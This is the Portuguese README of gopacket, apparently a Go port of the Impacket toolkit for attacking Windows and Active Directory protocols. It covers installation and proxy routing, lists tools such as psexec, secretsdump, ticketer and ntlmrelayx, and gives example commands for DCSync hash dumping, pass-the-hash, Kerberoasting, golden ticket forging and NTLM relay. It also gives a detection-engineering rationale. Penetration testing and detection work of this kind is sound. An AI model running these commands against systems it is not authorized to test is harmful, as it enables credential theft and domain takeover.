Um port completo em Go do Impacket - 63 ferramentas CLI e 24 bibliotecas para ataques a protocolos Windows e Active Directory, compilado em um único binário sem dependências.
Por Jacob Paullus (@psycep_)
Uma implementação completa em Go do Impacket - 63 ferramentas e 24 pacotes de biblioteca para interação com protocolos de rede Windows, enumeração de Active Directory e execução de ataques. Construído como um framework nativo em Go para que você possa compilar uma vez e executar em qualquer lugar sem dependências de Python.
Versão Beta - Altamente Experimental. O gopacket está em desenvolvimento ativo. As ferramentas principais foram testadas em ambientes de laboratório de Active Directory, mas casos extremos e peculiaridades de protocolo são esperados. Se algo não estiver funcionando, teste a mesma operação com o Impacket lado a lado e inclua ambas as saídas no seu relatório de bug. Isso nos ajuda a identificar rapidamente se é um problema específico do gopacket ou uma limitação de protocolo compartilhada.
git clone https://github.com/mandiant/gopacket
cd gopacket
# Default: Linux/macOS build + install to /usr/local/bin
./install.sh
# Run with no flags and it prompts you through the choices interactively.
# Or pick a target directly:
./install.sh --target portable # static Linux binaries in ./dist/portable/
./install.sh --target windows # Windows .exe cross-compiles in ./dist/windows/
./install.sh --target all # build every target in one run
# Build without installing (native only)
./install.sh --build-only
# Or build with make
make build
A compilação padrão (--target native) requer Go 1.24.13+, GCC e cabeçalhos de desenvolvimento do libpcap (apt install build-essential libpcap-dev no Debian/Ubuntu/Kali, yum install gcc libpcap-devel no RHEL/CentOS, ou brew install libpcap no macOS). Os alvos portable e windows precisam apenas do toolchain Go; sniff e split tornam-se stubs nessas compilações porque requerem libpcap. Consulte Suporte de Plataforma para a matriz completa.
O gopacket compila em Linux, macOS e Windows. O conjunto de ferramentas funcionais e os caminhos de proxy disponíveis dependem das flags de compilação:
| Build | Ferramentas disponíveis | Proxy |
|---|---|---|
| Linux / macOS com cgo (padrão) | Todas as 63 | proxychains (LD_PRELOAD) e/ou -proxy SOCKS5 |
Linux com CGO_ENABLED=0 | 61 (sniff, split tornam-se stubs) | Apenas -proxy (proxychains precisa do hook libc) |
Windows (GOOS=windows CGO_ENABLED=0) | 60 (stubs de sniff, split, sniffer) | Apenas -proxy (sem LD_PRELOAD no Windows) |
sniff e split dependem do libpcap via cgo; sniffer depende de sockets raw do Unix. Quando uma ferramenta não pode ser compilada para o alvo, o gopacket substitui por um stub que imprime uma mensagem clara e sai com código 1, então go build ./... sempre funciona e o layout de instalação é consistente entre plataformas.
Para desinstalar:
./install.sh --uninstall
O gopacket suporta dois caminhos de proxy independentes. Eles também podem ser encadeados.
Todas as ferramentas do gopacket funcionam através do proxychains. Binários Go normalmente ignoram o proxychains porque o runtime do Go lida com DNS e rede internamente, pulando os hooks LD_PRELOAD dos quais o proxychains depende. O gopacket contorna isso vinculando-se à biblioteca C do sistema para operações de rede, permitindo que o proxychains intercepte conexões normalmente.
proxychains gopacket-secretsdump 'domain/user:password@target'
proxychains gopacket-smbclient -k -no-pass 'domain/[email protected]'
-proxy)Todas as ferramentas aceitam -proxy para rotear TCP de saída através de um servidor SOCKS5 sem depender de LD_PRELOAD. Esquemas aceitos: socks5 e socks5h. Quando -proxy não está definido, as variáveis de ambiente ALL_PROXY / all_proxy são consultadas como fallback.
gopacket-secretsdump -proxy socks5h://127.0.0.1:1080 'domain/user:password@target'
ALL_PROXY=socks5h://127.0.0.1:1080 gopacket-smbclient 'domain/user:password@target'
Recursos dependentes de UDP são desabilitados sob -proxy em vez de vazar pacotes silenciosamente (SOCKS5 UDP ASSOCIATE raramente é suportado por proxies, e contornar o proxy para UDP revelaria o IP de origem real do operador). Recursos afetados e suas soluções alternativas estão documentados em KNOWN_ISSUES.md.
Encadeamento: -proxy é compatível com proxychains. A conexão TCP com o próprio proxy SOCKS5 ainda passa pelo connect() da libc, então proxychains → gopacket → -proxy → target funciona para cenários de roteamento aninhado.
Consulte o Guia do Desenvolvedor de Biblioteca para documentação completa da API, exemplos de código e visão geral da arquitetura para construir ferramentas personalizadas sobre os 24 pacotes de protocolo do gopacket.
| Ferramenta | Descrição |
|---|---|
| psexec | Execução remota de comandos via criação de serviço SMB |
| smbexec | Execução remota de comandos via SMB (mais furtivo que psexec) |
| wmiexec | Execução remota de comandos via WMI |
| dcomexec | Execução remota de comandos via DCOM |
| atexec | Execução remota de comandos via Agendador de Tarefas |
| Ferramenta | Descrição |
|---|---|
| secretsdump | Extração de SAM/LSA/NTDS.dit e DCSync (remoto + offline) |
| dpapi | Extração de chave de backup DPAPI |
| esentutl | Parser offline de banco de dados ESE (NTDS.dit) |
| registry-read | Parser offline de hive do registro do Windows |
| Ferramenta | Descrição |
|---|---|
| getTGT | Solicitar um TGT com senha, hash ou chave AES |
| getST | Solicitar um ticket de serviço com S4U2Self/S4U2Proxy |
| GetUserSPNs | Kerberoasting - encontrar e solicitar SPNs |
| GetNPUsers | AS-REP roasting - encontrar contas sem pré-autenticação |
| ticketer | Forja de tickets golden/silver |
| ticketConverter | Converter entre formatos ccache e kirbi |
| describeTicket | Analisar e descriptografar tickets Kerberos |
| getPac | Solicitar e analisar informações do PAC |
| keylistattack | Ataque KERB-KEY-LIST-REQ (RODC) |
| raiseChild | Escalação de domínio filho para pai via golden ticket |
| Ferramenta | Descrição |
|---|---|
| GetADUsers | Enumerar usuários do domínio via LDAP |
| GetADComputers | Enumerar computadores do domínio via LDAP |
| GetLAPSPassword | Ler senhas LAPS via LDAP |
| findDelegation | Encontrar configurações de delegação |
| lookupsid | Força bruta de SID via LSARPC |
| samrdump | Enumerar usuários via SAMR |
| rpcdump | Despejar endpoints RPC via epmapper |
| rpcmap | Escanear interfaces RPC acessíveis |
| net | Enumeração de usuários/grupos/computadores via SAMR/LSARPC |
| netview | Enumerar sessões, compartilhamentos e usuários conectados |
| CheckLDAPStatus | Verificar requisitos de assinatura LDAP e channel binding |
| DumpNTLMInfo | Despejar informações de autenticação NTLM da negociação SMB |
| getArch | Detectar arquitetura do SO remoto via RPC |
| machine_role | Detectar função da máquina (DC, servidor, estação de trabalho) |
| Ferramenta | Descrição |
|---|---|
| addcomputer | Criar/modificar/excluir contas de máquina (SAMR + LDAP) |
| rbcd | Manipulação de Resource-Based Constrained Delegation |
| dacledit | Ler/gravar DACLs em objetos AD |
| owneredit | Ler/modificar propriedade de objetos |
| samedit | Spoofing de nome de conta SAM (CVE-2021-42278/42287) |
| badsuccessor | BadSuccessor / escalação de operador de backup |
| changepasswd | Alterar/redefinir senhas via SAMR e LDAP |
| Ferramenta | Descrição |
|---|---|
| smbclient | Cliente SMB interativo (compartilhamentos, ls, get, put, etc.) |
| smbserver | Servidor SMB para compartilhamento de arquivos |
| attrib | Consultar/modificar atributos de arquivo via SMB |
| filetime | Consultar/modificar timestamps de arquivo via SMB |
| services | Gerenciamento remoto de serviços via SVCCTL |
| reg | Operações remotas de registro via WINREG |
| Get-GPPPassword | Extrair senhas de Group Policy Preferences do SYSVOL |
| karmaSMB | Servidor SMB falso para captura de hash |
| Ferramenta | Descrição |
|---|---|
| ntlmrelayx | Framework completo de relay NTLM com suporte a múltiplos protocolos |
ntlmrelayx suporta:
| Ferramenta | Descrição |
|---|---|
| mssqlclient | Cliente MSSQL interativo com autenticação SQL/Windows/Kerberos |
| mssqlinstance | Descoberta de instância MSSQL via SQL Browser |
| Ferramenta | Descrição |
|---|---|
| wmiquery | Shell interativo de consulta WMI |
| wmipersist | Persistência via assinatura de evento WMI |
| Ferramenta | Descrição |
|---|---|
| tstool | Enumeração de sessões e processos do Terminal Services |
| Ferramenta | Descrição |
|---|---|
| rdp_check | Verificação de autenticação RDP |
| mqtt_check | Verificação de autenticação MQTT |
| exchanger | Cliente Exchange Web Services |
| Ferramenta | Descrição |
|---|---|
| ntfs-read | Parser offline de sistema de arquivos NTFS |
| ping / ping6 | Ping ICMP |
| sniff / sniffer | Captura de pacotes de rede |
| split | Dividir arquivos grandes |
Todas as ferramentas de rede suportam três métodos de autenticação:
# Password
gopacket-secretsdump 'domain/user:password@target'
# NTLM hash (pass-the-hash)
gopacket-secretsdump -hashes ':nthash' 'domain/user@target'
# Kerberos (pass-the-ticket)
KRB5CCNAME=ticket.ccache gopacket-secretsdump -k -no-pass 'domain/user@target'
| Flag | Descrição |
|---|---|
-hashes LMHASH:NTHASH | Autenticação por hash NTLM (hash LM pode estar vazio) |
-k | Usar autenticação Kerberos |
-no-pass | Não solicitar senha (usar com -k ou -hashes) |
-dc-ip IP | Endereço IP do controlador de domínio |
-target-ip IP | Endereço IP do alvo (ao usar hostname para Kerberos) |
-port PORT | Porta do alvo (padrões variam por ferramenta) |
-proxy URL | Rotear TCP de saída através de um proxy SOCKS5 (ex.: socks5h://127.0.0.1:1080). Recursos UDP são desabilitados. |
-debug | Habilitar saída de depuração |
# Dump domain hashes via DCSync
gopacket-secretsdump 'corp.local/admin:[email protected]'
# Interactive SMB shell
gopacket-smbclient -hashes ':aabbccdd...' 'corp.local/admin@fileserver'
# Kerberoast
gopacket-getuserspns 'corp.local/user:[email protected]'
# Golden ticket
gopacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local admin
# NTLM relay with SOCKS proxy
sudo gopacket-ntlmrelayx -t smb://target -socks
# LDAP relay for RBCD
sudo gopacket-ntlmrelayx -t ldaps://dc01.corp.local --delegate-access
# Route all outbound traffic through a SOCKS5 proxy
gopacket-secretsdump -proxy socks5h://127.0.0.1:1080 'corp.local/admin:[email protected]'
O diretório pkg/ contém 24 pacotes de protocolo reutilizáveis que podem ser importados independentemente.
| Pacote | Descrição |
|---|---|
| smb | Cliente SMB2/3 com autenticação NTLM e Kerberos |
| ldap | Cliente LDAP com bind NTLM/Kerberos |
| dcerpc | Cliente DCE/RPC + 20 implementações de serviço (DRSUAPI, SAMR, SVCCTL, LSARPC, WINREG, NETLOGON, DCOM, TSCH, EPMAPPER, etc.) |
| kerberos | Cliente Kerberos, forja de tickets (golden/silver), S4U2Self/S4U2Proxy |
| ntlm | Protocolo de autenticação NTLM |
| relay | Framework de relay NTLM (servidores, clientes, ataques, SOCKS) |
| tds | Protocolo TDS do SQL Server |
| ese | Parser do Extensible Storage Engine |
| registry | Parser de hive do registro do Windows |
| ntfs | Parser de sistema de arquivos NTFS |
| security | Descritores de segurança, ACLs, SIDs |
| dpapi | Estruturas DPAPI |
| mqtt | Cliente de protocolo MQTT |
| session | Análise de alvo/credencial (domain/user:pass@host) |
| flags | Framework unificado de flags CLI |
O gopacket visa paridade total com o Impacket. Os seguintes ainda não foram implementados:
Clientes de protocolo de relay:
Módulos de ataque de relay:
Ferramentas autônomas:
ifmap.py (mapeamento de interface DCOM)mimikatz.py (Mimikatz limitado via RPC)goldenPac.py (MS14-068 - obsoleto em sistemas corrigidos)smbrelayx.py (substituído por ntlmrelayx)kintercept.py (interceptação Kerberos)Essas lacunas são de baixa prioridade - a maioria requer infraestrutura de nicho para testar ou foi obsoletada por técnicas mais recentes.
Estas são limitações em nível de protocolo compartilhadas com o Impacket, não bugs do gopacket:
Consulte KNOWN_ISSUES.md para informações detalhadas sobre cada problema e soluções alternativas.
Esta é uma versão beta. Bugs são esperados, e contribuições são bem-vindas.
Como o gopacket implementa os mesmos protocolos de rede que o Impacket, uma grande fração dos "bugs" acaba sendo ambiental, não específica do gopacket - DCs corrigidos, requisitos de assinatura LDAP, EPA, PKT_INTEGRITY, assinatura SMB, validação NTLM MIC pós-CVE-2019-1040, SPNs ausentes, desvio de horário, peculiaridades de DNS, regras de firewall, e assim por diante. Executar a mesma operação com o Impacket lado a lado remove o ambiente da equação:
Esta única etapa de triagem economiza muitas idas e vindas, então por favor não a pule.
-debug e capture a saída completacorp.internal → example.local
e dc01.corp.internal → dc01.example.local é aceitável - mantenha a
estrutura dos dados, apenas não os valores identificadores. Em caso de dúvida,
redija.Abra uma issue no GitHub descrevendo o caso de uso e o equivalente no Impacket (se houver). Se o recurso estiver na lista de "Recursos Ausentes" acima, mencione qual - isso nos ajuda a priorizar.
PRs são bem-vindos. Antes de abrir um:
go build ./..., go vet ./..., gofmt -l . e go test ./...
e certifique-se de que todos passam sem errosAtores de ameaça estão se afastando do Python. Ferramentas compiladas em Go e Rust (Sliver, BRC4, Geacon e loaders personalizados) estão cada vez mais substituindo o Impacket em intrusões do mundo real. A maioria das ferramentas defensivas e da lógica de detecção foi construída em torno do comportamento de rede baseado em Python do Impacket, e essa cobertura está se erodindo à medida que o ecossistema de atacantes migra para linguagens compiladas.
O gopacket existe em parte para ajudar a comunidade de segurança a se antecipar a essa mudança. Ao fornecer uma implementação em Go de código aberto e legível dos mesmos protocolos e técnicas, defensores e engenheiros de detecção podem:
A lacuna entre ferramentas de atacantes e visibilidade dos defensores é maior quando novas ferramentas permanecem privadas. Tornar o gopacket de código aberto reduz essa lacuna.
KRB5CCNAME não estiver definido, as ferramentas procurarão por <username>.ccache no diretório atual-proxy SOCKS5 (consulte Suporte a Proxy)Lançado sob a Apache License 2.0.